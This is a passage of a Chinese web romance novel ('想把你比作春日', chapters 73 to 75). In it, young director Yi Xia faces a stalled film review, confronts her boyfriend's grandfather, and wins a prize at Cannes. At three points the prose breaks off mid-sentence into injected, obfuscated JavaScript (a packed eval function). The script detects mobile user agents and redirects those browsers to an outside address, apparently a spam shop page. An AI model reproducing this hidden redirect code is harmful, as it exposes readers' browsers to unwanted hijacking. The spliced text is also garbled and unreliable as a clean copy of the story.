他一顿,片刻后,声音温和地说:“你知道了,其实这件事,我从一开始就已经有准备了。” “但是……” 蒋文府说:“小夏,这是我自己的选择,与你没有关系。我爱慕谈小姐,我追求了她很长一段时间,但是我和她的关系始终是不对等的。与你和小雪的关系无关,是我已经醒悟过来了,她不可能与我有平等的关系,所以我选择了放手。” 宜夏沉默片刻:“你和谈……” “谈小姐是不会被家庭束缚的那种人。”蒋文府顿了顿,“小夏,每个人都有自己的人生课题。我希望你能好好回答这道题,至于我,我也会有自己的回答。” 电话挂断之后,宜夏有点怅然。 关系真是一团乱麻,她怎么也理不清楚。 还是不要想那么多了吧。 工作吧。 《想把你比作春日》的剧本接近完成,但没办法定稿,宜夏一会儿有一个新想法。 春雨绵绵的几场,打湿窗外的苦楝树,满树的白花随着风啊雨啊飘摇起来,簌簌地落着花瓣。 宜夏想出门踏青采风,却临时接到了柳明昱的电话,告诉她《清塘山岛日记》的内容审核意见出来了。 她赶到工作室。 局里的意见简洁明晰,没有特别严重的问题,只针对一些过于意识流的情节提了些修改意见,还有就是字幕和英文译名的一些技术上的问题。 宜夏本来忐忑了好久,已经做好内容审核全盘否定彻底被打回的准备了,没想到得到的竟然是正常的结果。 难道谈之尧只是威胁,其实没有动手吗? 她也不确定。 根据审核意见修改又花费了不少时间,再次提交审核。 这一次反馈意见特别快。 正常来说审核都要花好几个月排期,但这次只半个月就下来了,又是一些很细微的意见。 再修改一版交回去。 又是半个月,又是其他没有注意到的细节问题。 宜夏没经验,但柳明昱发现不对劲了。 哪有这样的,有关部门虽然审查很细致,但一般意见都是一起下发的,怎么会这次提点问题下次提点错误就是不给过审 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115131|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢? 虽然审核意见东一榔头西一棒子,但其实硬要说的话,他们说的都有道理,确实是该修改。譬如说某处字幕,他们直接帮忙校对,说有错别字;台词里某句成语,他们说用法不对,等等,全是正确意见。 大家熬了几个大夜修改好再次提交上去,宜夏心里隐隐焦虑了起来。 她真的担心一直修改一直被打回。 电影的内容审核不像技术审核那样有一条确定的线,真的有心要挑刺要修改,那压个三年五年都不是事。 《城池》都压了三年,据说就是因为结局太悲情不够积极昂扬向上,被审核打回要求给点阳光。这还是谈雪昼的片子。 不知道谈家在背后究竟是帮了忙,还是使了绊子。 《清塘山岛日记》挑刺,如果字幕、英文之类的小问题都挑遍了,那最后肯定也会挑结局、挑氛围、挑情感色彩、挑正能量等等。 他们已经报名了戛纳电影节,但按照国内的规定,是需要拿到公映许可证才能参加国外的影展的。国内开了口子,政策要求是只要能在电影节开幕前拿到证就能入围。按照原本计划,审核速度如果正常,一定能在戛纳开幕前下证。 但现在没人敢打包票。 宜夏从来不知道一个导演要烦这么多事。 而且这些烦心事,大概率根源还是出在她身上,她心里就更低落了。这么多人的心血,嘉灵的希望,她的希望,甚至还有谈雪昼的投资,蒋文府的追加投资……如果真的是因为她的感情影响到了整个项目,她很难接受。 可要让她妥协分手,那更不可能。 谈雪昼这段时间又是特别的忙。 两个导演不在同一个项目里,平时想碰面基本没什么机会。 谈雪昼在忙《牺牲者》的后期,同时新的项目又已经立项了,叫《天幕之上》,是个科幻片,也是大项目大制作,现在还在写剧本的阶段。 宜夏把最新一版修改再次提交上去,带着一身丧气从工作室回家,洗了个热水澡。 头发最近长太长了,都已经拖到腰上了,得找个时间剪一下。湿漉漉的,蓬松柔软浓密,带点微卷,垂在腰际,她梳了一会儿,越梳心情越丧气,光着脚站起来给谈雪昼打电话。 还没拨通,她突然按掉,换了个号码,约薛霓来去附近新开的一家火锅店一块儿吃火锅。 薛霓最近工作也不顺,天天在网上骂老板骂同事,还把账号昵称改成了“老板同事在天堂”。 两个人一开始涮火锅,薛霓的吐槽张口就来。 宜夏反而在她一连串妙语连珠的锐评吐槽里缓缓平复了下来,心情有个小小的上扬。 她不喜欢跟关系亲近的人散发负能量,包括薛霓,包括谈雪昼。这就是她这么长一段时间,跟谈雪昼从来不提自己电影进度的原因。 薛霓敏感。 看她吃火锅话很少,就知道她心里闷着点事,试探问:“是工作上还是感情上?先说感情问题我应对不了。” 宜夏说不是。 片刻后,又点头:“是电影的事。” 其中复杂的内情,她很难跟薛霓解释清楚。她只是自己不停在想,如果谈家真的要卡她,要封杀她,她有没有什么反抗的能力。 ——没有。 完全没有。 甚至是发声求救的可能性都没有。 但哪怕这样。 只要谈雪昼不说分手,她就不可能放手。哪怕,要为此放弃其他她最在乎的东西。 真的有那么喜欢他吗? 真的,真的有。 73. x想把你比作春日 第66章 宜夏在等最新的审核意见出来。 有些事没办法反抗,就只能想办法接受,想办法适应。既然审核没有直接打回,就证明最终还是有希望过审,在有限的发挥空间里她要尽力做好,如此便罢了。 于是干脆也不焦虑了。 ——假的。 最新意见下来,又是鸡毛蒜皮的挑刺,她仿佛又回到了大学写毕业论文的痛苦时候。 就连柳明昱,也按捺不住了,开始打听他们的电影是得罪了哪方大佬,连他的面子都不卖。 他们电影也没跟谁结梁子啊,一部小小文艺片而已,又不是上映会狂揽几十亿票房的大片,挡别人的路。 然而他去跟人喝酒,酒桌上套得的话却是含糊不清的“你懂的嘛”。 路嘉灵也听说了内容审核遇见的问题,很忐忑地打电话来问宜夏是不是她的问题。她以为是她之前跟那个黑粉的官司纠葛导致了电影被卡。 宜夏平心静气安慰了她。 作为导演,她是那个一定要撑住情绪不能崩的人。 在工作室忙了一天,晚上离开的时候,她一个人走在街上,随手推开一家便利店的门,买了碗关东煮,低着头边走边吃。 边吃边想。 谈之尧如果真的一直这么卡着她,她到底要怎么办,她不能真的就这么逆来顺受。 蒋文府会有办法帮忙吗?他的关系应该全在北美那边,也不在影视圈,很难伸这么长手。 关东煮还没吃完,有人拦在了她面前。 对方一身黑西装,温文尔雅,十分优雅:“宜小姐,你好,谈先生想请你见见面。” 宜夏把关东煮的碗丢进垃圾桶,很镇定地点头:“好的。” 她并不震惊,也不用问是谁。 她提早想到了有这一天。 车门被拉开,宜夏被好好地请进了车里坐下。 司机开车很平稳,不言不语,却一路往偏僻的地方开。宜夏倒也没惊慌,毕竟她不相信有人开着劳斯莱斯拐卖她。 车越来越偏,早已驶出市区进入郊区,道路两侧的道旁树变得笔直高大,柏油路也格外平整宽阔。 车驶入一道大门,两侧的道旁树一变,橡树浓密的树冠相接,遮天蔽日。如果是夏日午后,必定十分阴凉,但在夜晚,却只在路上筛下阴沉的黑影,有些不可名状的深沉恐惧。 仿佛尽头是能噬人的凶兽。 又驶过一道雕花的大门,再径直行驶了很长一段路,车才在一幢白色的别墅前停下。 前座的司机替宜夏拉开车门,一位助理等在门口,低垂着头领宜夏进门。 初春料峭的寒意让她后颈起了一层浅浅的鸡皮疙瘩。 她挺直脊背,目不斜视跟在助理身后朝里走。 四周很安静,脚步踩在密实的地毯上,只有极细微的一点轻响。助理领她顺着雕花的螺旋楼梯上了二楼,走到走廊尽头,推开一扇沉重的木门。 这时,助理才说了第一句话,声音很低沉:“宜小姐,请进,先生在里面。” 宜夏深呼吸。 她小时候读过一本书,讲谈判的。 那个作者提到了一个概念,叫框架,擅长谈判的高手总是会提前给对手设置心理框架,以此潜移默化地提高自己的心理占位而打压对手。 譬如面试,公司总是习惯于设置各种流程,面试官,签到,打卡,等候,这些流程框架首先就让候选人在心里接受了自己是被挑选的一方,认可了自己的弱势地位。公司就借助这些框架在和候选人的谈判中首先获取了优势地位。 今天也是一样。 把她请来,请到郊区的庄园别墅里,一言不发,漫长的路程,安静的环境,不断滋生的恐惧、不安,都是他们的手段,让她先低下头。 越是如此。 就越是要打破框架。 宜夏在心里默默给自己鼓劲,推开了门。 门后,入眼就是从底到顶几乎构成穹顶的书架。 与其说是书房,不如说是图书馆。 书房左侧摆着一张书桌,后面坐着一个老人。宜夏坐在各种财经杂志头版头条看见过这位老人的脸,不过近年来他已经渐渐隐退,不再公开发声。 他默不作声,注视着宜夏。 他不开口。 宜夏却不能怯场不说话,温声说:“谈老先生,您好。” 谈默生依然没有开口的迹象。 宜夏只好一直站着。 宜夏在心里告诉自己,这又是一个下马威,一个框架。 两个框架对撞,只有一个能获胜,宜夏不打算一直冷漠僵持,朝前走了一步,不卑不亢道:“谈老先生,您请我来聊天,我很荣幸。但我也有工作,可能没有时间跟您聊太久,预计只有三十分钟的时间,三十分钟之后我可能就要离开了。” 谈默生被她这一通话说得脸皮一抽。 他终于开口:“宜小姐,你请坐吧。” 宜夏乖乖搬了个凳子在他对面坐下,坐姿端正,像晚辈聆听长辈教训。 “我听说你最近遇见了一些工作上的困难。” 所以说这些豪门有钱人就是很虚伪,我的困难难道不是您或者您的下属指示的吗? 宜夏表情很温顺:“是遇见了一些困难,不过,我有信心能通过,拿到好的结果。” “如果拿不到呢?” 宜夏抬起头:“您当然可以让我拿不到,我相信您绝对有这样的手段。但您不觉得这样的手段,实在跟您光辉的形象不太契合吗?” “我也不想为难你这样的小辈。”谈默生说,“小雪是我唯一的外孙,是我寄予厚望的后辈,所以我今天才想来请你聊一聊。” “您想聊什么。” “聊你们年轻人现在流行的话题,譬如说,爱情和事业,哪一个更珍贵。” 宜夏脸颊绷紧,咬住牙关。 “年轻人现在流行拼事业,不像几十年前,还流行为了爱情放弃一切。宜小姐,你母亲很清醒,你应该也是一个清醒理智能拎得清的人。” 听他提到她妈妈,宜夏脸颊火辣辣的羞耻。 谈默生露出了一个近乎和蔼的笑容:“宜小姐,你跟小雪之间的经过,我也已经调查清楚了。你之前接近他,不就是为了你能拍摄你的电影吗?那如果要和他在一起,你就要彻底放弃你的电影呢?现在只是不能通过审核,下一部,可能不见得可以立项。这个行业彻底向你关闭,你可以趁早找一找有没有其他的事业出口,能不能找到其他工作。” 宜夏问:“您不觉得这些威胁,非常的俗套吗?我是写剧本的,您这些威胁,只会考验男女主角感情的坚贞程度。” “哦?那你确信你是女主角,能抗得过这些考验?” 宜夏抿紧嘴唇:“您觉得您可以一手遮天吗?” “小姑娘,你以为有勇气,就可以战胜所有困难吗?生活不是你写的三流电视剧。” 宜夏站起来,想了很久,轻声说:“我什么都没有,谈老先生,我从小就什么都没有,我的妈妈她有了自己的家庭,我和外婆住在一起,几乎没有跟妈妈有过联系——我说这些不是为了撇清我和她的关系——我没有正常的家庭,是外婆教会我爱和亲情是什么的。她现在去世了,我在这个世界上,已经没有其他亲人了。哪怕我的父母都还活着,但他们只是陌生的跟我有血缘的人而已。” 她吸了口气,继续说:“所以我只是一个您一只手就可以捏死的小人物,跟所有人的联系都很薄弱。我活在这个世界上,哪一天消失了,也不一定有人会在乎,我也不会为这个世界创造什么价值,做什么贡献。我就是这样一个很小很小的人,您看不上是应该的。也是因为我和谈雪昼扯上了关系,我才能见到您一面,否则,您只会出现在新闻和杂志里,我一辈子也不见得能跟您说上一句话。” “您是这样高高在上,我知道,您可以看不起我,觉得我血管里的血不干净。但我的喜欢是干净的,我的心也是干净的。在谈雪昼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128573|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前,我没有遇见过真正的喜欢,我对谈雪昼感到愧疚,因为我不好,我配不上他,我的心很卑劣懦弱。我知道他是我妈妈伤害过的人之后,我更觉得我不配,所以我跟提了他分手。他问我有没有过一点真心,我不知道怎么回答他,我不知道我能不能有。” “谈先生,您肯定觉得我不能有,我不干净,我普通平凡自私虚荣肤浅庸俗,你们一只手就可以碾在地上,连蚂蚁都不如。但我为什么不能有?他是个很好的人,我很喜欢他,我为什么不能喜欢他,不能真心想和他在一起?” “您拿事业,拿电影来考验我。现在我可以告诉您,我本来就什么都没有,就连电影的投资,也是他背后给的。我只有一支笔一个脑子,可以写一点东西出来。您可以不让我的电影上映,不让我拍电影,不让别人买我的剧本,甚至让整个行业对我关闭,但我还是有笔,有脑子,我还是可以写东西出来,您总不能阻止我写,也不能阻止我说话,出声,不能阻止有人看我写的故事。没关系,我告诉您,没有关系,我不在乎。我不是想证明什么,我能自己养活自己就足够了,我绝对不会为了其他的东西,放弃对我来说真正珍贵的东西。” “您可能不理解我。对我来说,没有什么比人和人之间的感情更重要了。我没有亲人了,我只有一个喜欢的人,他是我跟这个世界最重要的联系。您要阻止我们在一起,不就是因为,您也爱他,您觉得我配不上他吗?我们的心是一样的。” 宜夏一口气说了这么多。 谈默生居然没有打断他,而是一直用沉沉的目光看着她。 她脊背一直挺直,把话说完,闷头冲谈默生鞠了个躬,抬起头来:“我想说的已经说完了,谈先生,很感谢您能听我说这些。您说我不会是能经受考验的女主角,那您就来考验我吧。” 谈默生看着她,依然一言不发。 沉默很久,他摘掉眼镜擦了擦,又戴回去,凝视着宜夏:“我也不是那种封建家长,一定要插手孩子们的感情。” 他沉沉地叹了口气:“你回去吧。” 宜夏又鞠了个躬,转身往外走。 很轻地拉开书房沉重的大门,依然挺直脊背,顺着走廊往外走。 这庄园里陈设富丽典雅,哪怕拍电影,都找不出这么繁丽精致的布景,宜夏这才突然对谈雪昼的家世有了一个直观的认识。 ——在此之前,她其实,对他本人的认识远远超过他的姓氏。 - 书房里。 谈默生按下桌面一个按钮,隐藏在书架背后的一道暗门缓缓打开。 谈雪昼垂着头。 谈默生板着脸:“行了。我又没有为难她。” “你们用她的电影来威胁她,爷爷,你太让我失望了。” 谈默生脸依然板着:“我不至于用这种手段,是你妈。我管不了她。怎么,为了这么个姑娘,你还要跟家里决裂吗?” 谈雪昼轻声问:“爷爷,你一定要我选择吗?” “她不是在她的电影和你之间选了你吗?” “那如果我选她,你会失望吗?” “混帐!”谈默生撑着书桌想站起来,又被气得坐了回去,一两句话就要被气得七窍升天,“我养你这么大,是白养了?!” 谈雪昼朝前走了两步,蹲下,把头靠在老人膝盖上。 沉默半晌,他轻声说:“爷爷,你没有白养我,但你不要让我做这种选择,我也会,很难过。” 谈默生久久不出声,抬手,枯瘦的手指穿插在谈雪昼浓密的发根间,许久,终于叹了口气:“小雪,我怎么拗得过你呢。她就那么好吗?” 谈雪昼说:“不好啊。” “她自己也说了,普通平凡自私虚荣肤浅庸俗。但我就是只喜欢她。” 他顿了下:“就好像那么多小孩子里,你只喜欢我一样。” “胡说,哪来那么多孩子!只有你一个!” “是,这世界对我来说也没有很多女孩子,只有她一个。” 74. 想把你比作春日 宜夏抱着肩膀走到别墅门外。 刚刚送她来的那辆劳斯莱斯停在原地,司机再次为她拉开车门,她坐了进去,依然抱着肩膀。 好冷。 这地方不知道是种了什么树,风一刮,冷得打哆嗦。 司机不言不语地启动了车,顺着来时的路平稳地往外开。 宜夏偏过头,目光从道旁高大的橡树树影上掠过。 她刚刚说得很勇敢很潇洒,说只要有笔只要有脑子,就不会害怕。对她自己来说当然是这样,但她却特别担心辜负了其他人。 毕竟,一部电影也不是她一个人的心血。 没办法了,话已经放出去了,兵来将挡水来土掩了吧。 车刚开过第一道大门,后视镜里突然出现了一辆车身漆黑流线型的跑车。跑车加速,很快超车拦在了劳斯莱斯前,同时按了喇叭。 司机把车停下,前面那辆跑车也停了,驾驶座上的人甩上车门下了车。 宜夏眼睛睁圆,拉开车门奔下车,扑进大步走来的男人怀里。 谈雪昼把她搂住,跟劳斯莱斯的司机打了个手势示意让他回去。 宜夏从他怀里仰起脸:“你怎么,会在这里?” “我送你回去。” 宜夏抱住他的腰,很依赖地,被他抱进跑车副驾驶。自动自觉系好安全带之后,她才垂着脸慢吞吞开口:“刚刚我见到你外公了。不过,他没跟我说什么,你不用担心。” 谈雪昼启动了车,一脚油门轰下去,车速飚得很快。宜夏紧紧捏住安全带,脸颊被风吹得有些变形,扭头看他。 他好一会儿才减速,沉声问:“他们卡你公映证,为什么不告诉我?” 宜夏下意识说:“没有,都是正常审核反馈意见啊。” “还想瞒着我。” 宜夏垂下头:“我其实理解你外公,理解你妈妈。将心比心,设身处地,我知道他们这么做的原因。” “宜夏,他们不会再干涉你的工作了。” 宜夏懵了一秒,转头看他:“……你、你跟他们说什么了?跟他们吵架了吗?你不会又挨打了吧?” 她伸手摸他肩膀。谈雪昼挪了挪肩:“开车,别碰。” “你跟他们说什么了?还是,你答应他们什么了吗?” “没有。”谈雪昼说,“只是他们知道这么做没意义。” 宜夏抱着手臂。 是没意义,可是有效果。 谈雪昼侧过脸,看着宜夏光润洁白的脸颊,还有长而卷翘的睫毛,勾了勾唇。 十分钟前,他和谈默生达成了一个协议。 人是自由的,却无往不在枷锁之中,有些枷锁他心甘情愿。 - 宜夏第二天下午收到了柳明昱那边很振奋的电话,告诉她内容审核这一次竟然过了! 过了就能领一个合格证,再提交技术审核,正式领到公映的龙标。 几乎是压着哨给的通过意见,卡在戛纳电影节收片结束的最后两天,他们提交了片子所有的信息上去,成功报名了戛纳电影节。 宜夏对电影能否获奖有一定预期。 最好的结果是入围一种关注单元。 主竞赛是不用想了。戛纳电影节的主竞赛单元向来是大神的兵家必争之地,全是成名的电影圈大神。 小导演一般都是从小单元慢慢爬进主竞赛的。新人的正常路径是短片单元或者一种关注单元,一种关注单元就是特地为导演、演员的处女作开辟的。 不过谈雪昼不属于正常的新人,他从来不报名这些国际电影节,也懒得参加其他奖项,但却被直接选送了两次奥斯卡——虽然,都没拿奖吧,但还拿了一次最佳外语片的提名。 奥斯卡比这些国际电影节商业多了,给他提名是给中国大票仓面子。但国际电影节才不会给商业片面子,除非是成名大导演。 电影成功报名,宜夏一桩大心事终于落地。 柳明昱特别会策划宣传营销,打算等电影节开幕、入围名单出来之后猛吹一波,猛猛营销一波再定档上映——当然,如果《清塘山岛日记》没有入围拿奖,那就拉倒,另行计划。 宜夏不太了解这些太实际的操作。 她放空了心情,继续写《想把你比作春日》的剧本。 谈雪昼很忙。 每天回家都很晚,两个人没怎么碰上面。 宜夏一个人独处多了,就开始琢磨,脱敏那件事。 她也不能总跟谈雪昼提这个事儿。 主要是,没有气氛,没有契机,也不好突然就叫他来配合她,毕竟他这段时间很累很辛苦。怎么办呢? 宜夏琢磨着这个事,本来那天晚上都已经下定了决心今晚要跟他推一下进度。 结果他当晚没有回来。 《牺牲者》出了一个严重的BUG,需要补拍,他这几天都得待在片场。 宜夏的热情被一盆冷水浇熄了大半,晚上打视频的时候,整个人有点怏怏的。谈雪昼没来得及说太多,被人拉去看一个道具的位置,匆匆挂断。 宜夏这段时间发现,他对《牺牲者》特别在意,非常重视。她不知道他之前拍片子是什么状态,但这一部,他几乎忙得脚不沾地,事必躬亲。 所以她也不想打扰到他。 四月中,戛纳电影节宣布了入围名单。 《清塘山岛日记》成功入围了一种关注单元。 这虽然是在很多人的意料之中,但宜夏还是特别惊喜。 这是她带着作品杀回电影圈的第一战,一定要打得很漂亮。 五月初,戛纳电影节将要开幕。 谈雪昼终于从《牺牲者》的后期工作中抽了神出来,开车把宜夏送到机场。 宜夏坐他的副驾驶,从储物格里翻出她送的那罐马鞭草糖。罐子底下还剩了四五颗,绿水晶一样散落着。她当时是跟他说了可以每天吃一颗,没想到他好像是真的按时在吃,就觉得他这个人很妙。 她很懂事也没有要求他一起去戛纳,到机场跟剧组其他同事回合,回头跟他挥了挥手。 宜夏跟路嘉灵许久没见,在飞机上,凑在一起,被问到和谈雪昼的感情进展如何。 路嘉灵这个人比较大胆。 直接问她,有没有进行一些,文艺电影都会出现的镜头里的操作。 说到这个。 脱敏这件事还拖着呢。 宜夏甚至有点觉得他不上心不在乎了。 难道只有她一个人这么……这么色吗? 想到那天她调戏他,要看他的事,她忍不住脸颊通红。 她好像对他的身体一点也不抵触。也许很快就能脱敏,只要他帮忙。 一只手在她眼前挥了挥:“想什么呢?脸怎么红了?别吧……” 宜夏赶紧说:“没,这里太热了。” “舱内空调二十度。” 宜夏:“……” 《清塘山岛日记》全剧组提前几天前往法国小城戛纳。 五月份正是阳光温煦和暖的时候,这是宜夏第一次带着作品来到这座文艺片最高殿堂城市,仿佛哪里都闪着一层梦幻的金光。 晚上在酒店休息时,她给谈雪昼打完视频,又给薛霓打,讲她刚刚在酒店大堂遇见了是枝裕和导演,又遇见了法国国宝女演员朱丽叶·比诺什,风情万种好有气质天哪啊啊啊。在床上滚来滚去,兴奋得像条刚洗完澡毛还没吹干钻在床上傻乐的小狗。 薛霓羡慕死了,好想翘班出来玩耍,也好想见这些有名的导演演员,发朋友圈不是能吹一年? 薛霓同时又替她愁:“所以你这个到底能不能拿奖?” 宜夏想了下,摇头:“不知道。” “要说有信心,肯定行!”薛霓鼓励她,片刻后立刻问,“谈导没陪你来吗?……” 宜夏:“没,他最近很忙。” “忙什么?我今天还看见他上热搜了,还是和女明星。” 宜夏一愣,抱着被子坐直。 人来国外了,这几天忙,她都没看国内社交平台。 点开一看,谈雪昼还真在热搜上,跟他一起上热搜的是《牺牲者》的女主角姜敏。 内娱特别有名的大狗仔拍到了晚上两个人一起出现在某家酒吧附近,一前一后。 还有一段模糊的视频。 谈雪昼没戴太有标志性的墨镜,穿了件宽松的卫衣,头上顶着兜帽。姜敏则戴了白色口罩,浑身裹得很严实。两个人朝前走,姜敏突然回过身,抓住谈雪昼的手臂,谈雪昼并没有拒绝,反而把她往怀里一带。 【jm上位了】 【小谈喜欢这种类型的啊?】 【怪不得jm一个新人能直接担纲《牺牲者》的女主,爆了爆了】 【只有我一个人觉得这俩还挺般配的吗?顶流导演+气质小花,晋江现言配置】 【甜】 【女朋友是这位?终于要公开了么?】 宜夏翻完所有评论,给“甜”点了个踩。 她突然想起,好像那次她刚回江流,在花鸟市场外偶然撞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137088|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见谈雪昼一次,那次跟他挽着手一起走的姑娘,似乎就是姜敏。 但宜夏其实,倒没有吃醋的情绪在。因为她实在是不觉得,谈雪昼会突然跟一个女演员搞暧昧。 那就只有一个可能了,姜敏是他妹妹?堂妹表妹? 那为什么姓姜? 难道是艺名吗?或者,是青梅竹马的妹妹?那这就让她不知所措了。 她在直接问谈雪昼怎么回事和假装什么都没发生之间犹豫了片刻。直接问,显得她好不信任他好爱吃醋一样,可是……她好想他哦。 一闲下来独处,她就好想他。 宜夏盯着聊天框发了一会儿呆。 一眨眼,对话框突然跳了一条消息出来。 谈雪昼: 【拍什么】 宜夏才发现,她刚刚没注意发呆的时候不小心蹭到了拍一拍。 宜夏说: 【按到了】 想了下,勉强找了个话题: 【你现在在干什么】 谈雪昼: 【开会】 宜夏: 【?】 【开会还玩手机啊。】 谈雪昼: 【那不是,因为有人拍我吗?】 宜夏: 【开会要专心知不知道】 谈雪昼: 【噢】 过了会儿,他又慢慢悠悠发了条消息过来。 【提前结束了。】 【最近上网没?】 宜夏: 【嗯?】 谈雪昼: 【热搜在炒绯闻】 【我已经让人去压热搜了】 【给你解释下,姜敏是我妹,本名谈雪珂】 宜夏: 【我没看啊,也没问你,我相信你,不用解释】 谈雪昼: 【那不是怕你吃醋吗?】 【吃醋了不理我,亏的不还是我吗?】 宜夏直接给他打了个视频过去。 他站在露台吹风,额际碎发被风拂过,底下漆黑的眼睛熠熠生辉。 宜夏看见他就心情飞扬,故意说:“那我什么时候吃过醋?我又不像某个人,亚洲醋王,甚至不准别人追星呢。” “是谁啊?应该不是我吧。” “那是谁呢?可能是我们白雪公主吧。” 谈雪昼正色,警告她:“不许叫我公主。” “怎么,你不喜欢呀?那我叫你什么?小雪?舟舟?小谈同学?”宜夏胡乱想了很多个昵称,弯着眼睛,压低了声音,“哥哥?” 谈雪昼喉结滚了一下。 宜夏感觉正常男生应该都喜欢被女朋友这么叫吧。不过她只叫了一声,就不肯再喊了,迅速换了话题:“你说这次我能不能拿奖?这次一种关注单元其他片子实力也挺强的。” “想拿吗?” “想靠自己的实力拿。”宜夏正色。 谈雪昼顿了下:“想什么呢,我都没办法帮我自己操作奖项,难道还能帮你黑幕不成?” 宜夏捧着脸:“我可以黑幕你一个奖。” “嗯?” “世界上最英俊、最可爱、最好的男朋友奖。” 就这么乱七八糟聊了一会儿,那头又有人喊谈雪昼,要他去决策什么事情。 视频挂断,宜夏放下手机,打算出去走走。 刚刚一通视频,让她的心情变得特别的好,看哪里的风景都让她觉得新奇美妙。 小城戛纳的夜晚和白天是完全不同的景象,白天的喧嚣褪去,夜色上浮,空气清新干净。 宜夏趁着夜色在戛纳有名的海滩边散了会儿步,边散步边琢磨电影的事。 《清塘山岛日记》是尽人事听天命,能入围就已经很好了。《春日》的话,回国就要开始筹备了。 至于脱敏的事情…… 等等。 怎么又想到那里去了。 想着想着宜夏走神了,耳边突然传来一道中文的说话声:“喂,你可以往旁边挪一下吗?挡到我们拍照了。” 宜夏扭过头,跟一个举着相机的男人对上了眼神。 他前面几米处,是一个在凹着姿势的女人。那女人长卷发,白色塔夫绸长裙,鼻梁上架着巨大的墨镜,涂大红唇,打扮很精致。 她身边还跟着好几个助理模样的年轻男生女生。 见到宜夏,她缓缓站直,摘掉墨镜。 宜夏也认出来她了。 ——居然是于思程。 75. x想把你比作春日 时隔许久,再看到于思程这张明艳的脸孔,宜夏依然有些生理性的不舒服。 她不想搭话,转身就走。 背后于思程却出声了,皮笑肉不笑:“宜夏?怎么招呼都不打呀?” 宜夏扭过头:“我跟人才打招呼。” 于思程勾起唇角,把玩着墨镜:“没想到你居然能爬起来,还带着电影来戛纳。” 宜夏微微笑。 她倒也不想走了,打算好好撕一场逼。 她要不应战就走了,岂不是显得很像怕她了一样? 她说:“毕竟有些东西是别人偷不走的呢。” “比如出身,对吧。”于思程笑,“毕竟也不是谁都有一个破坏别人家庭做小三的妈呢。” 宜夏说:“我以为这么久不见你会长进一点,没想到还是只能往这些方向攻击别人。我倒是没听说你带了什么作品来戛纳,有提名吗?还是来蹭红毯的呀思程?” 于思程脸色骤然一变:“那我总比曾经全网黑的人光明正大。” 宜夏也站直了:“我们都知道那是怎么回事,你在我面前装什么?你难道以为我手里没有你的料吗于思程?劝你低调一点,不要跳到我面前来,太恶心是会被反噬的懂吗?” 于思程没忍住:“你以为你自己很有本事?不就是仗着谈雪昼给你资源给你钱?凭你自己的能力,你以为你能来这里?” “那我也没见有钱有资源的你作品入围。” 于思程脸皮抽了抽,明显是被噎住了,片刻后才恨恨说:“我倒是没想到,你和你妈一样很会勾引别人,都那样利用谈雪昼了,他还能当你的舔狗。” 宜夏不能容忍其他人说谈雪昼的不好。 于璟和于思程这一对兄妹,每一个都能触到她的逆鳞。 她盯着于思程:“劝你说话注意。我不是在提醒你,是在警告你,《强制报告》的署名,你以为我不能再跟你算清楚吗?” 于思程脸色大变,还想说什么,宜夏却转身就走。 心情也被这个突然冒出来的人破坏殆尽。 回酒店之后她特地查了一下于思程有没有得到戛纳的提名。 还真没有,几个官方单元都没有入围,她是带着自己的作品准备来参加非官方展映的。说出去很好听,有些大神确实会不参加竞赛只参加展映,但于思程很明显就是蹭资历蹭活动蹭资源。 宜夏觉得跟这么个人撕逼有点掉价。 之前被她的小伎俩逼到绝境,自己也是挺菜的。 - 接下来好几天活动,宜夏没再在戛纳小城里碰见她不喜欢的人。 戛纳的艳阳温暖和煦,连续几天的电影节展映,宜夏看了个饱。 主竞赛单元的大神作品她每天都去看,还搞了下社交,跟几位崇拜已久的大导演加上了联系方式。 简直不能更完美,然而最完美的是闭幕式当天的颁奖典礼,《清塘山岛日记》拿到了奖项。 而且,出乎她的预料,竟然给的是一种关注单元的最佳导演奖。 上台领奖的时候她人还是懵懵的。 手上薄薄的金棕榈叶奖杯几乎握不住,她措辞想了一会儿,才说完自己的获奖感言。感谢制片,感谢演员,感谢所有工作人员的付出,也感谢默默支持我的人,我爱的人。——当然,最感谢的是组委会和评审团。 结束颁奖已经是当地时间十点多,宜夏的手机通知被挤爆了。 过去联系过的、没联系的导演制片都发来了消息,还有几个她出事之后就装死的演员,也试试探探发来了消息。这些人暂且不去看他,宜夏只关心真正关心她的人,譬如—— 谈雪昼居然没发消息过来。 宜夏又看了眼手机。 是真没有。 怎么回事。 颁奖典礼结束之后照例有晚宴和酒会,受邀参加的几乎全是今晚出席的名流。宜夏拿了奖,在晚宴上也不大不小受到一点瞩目,与人社交了一小会儿,加了几个联系方式之后离场回酒店。 车开到一半,宜夏想吹吹风散散酒气,提前下了车打算步行回去。 边走边低头看手机。 